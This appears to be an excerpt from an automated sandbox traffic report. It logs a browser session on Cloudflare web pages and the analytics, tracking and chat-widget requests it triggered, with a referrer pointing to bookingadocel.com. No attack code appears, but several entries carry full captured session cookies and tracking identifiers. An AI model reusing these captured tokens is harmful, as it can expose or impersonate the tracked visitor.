Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1233261538 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1866024973 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=76b18e4b-2729-450d-b8e1-661a28ad95ea HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=161948667 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261216; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526regi
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259363828&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=7&rnd=28939&cdn_o=a&_biz_z=1729259363830 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259350954\|5\|1\|bat.bing.com/p/insights/c/u; _biz_nA=7; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261216; _lr_tabs_-ykolez%2
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=d102a343-c714-4746-add7-39307c3799a3 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259350954\|5\|1\|bat.bing.com/p/insights/c/u; _biz_nA=7; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261216; _lr_tabs_-ykolez%2
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259363828&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=7&rnd=28939&cdn_o=a&_biz_z=1729259363830 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261216; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:17292593
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=c98d4b4f-bfe0-4c63-a808-f9d7b13db4fe HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=b500c990-18d7-45da-9d2c-dbbd71436f34 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: oW7udJzy7BUW/zH5Vs/vzQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=662d108f-20e9-474e-91b7-4ec41b61d865 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: maWR4mJuJgLGxqjiaf2iIg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: kZd0IcYdWLEOQ403nCiwoA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
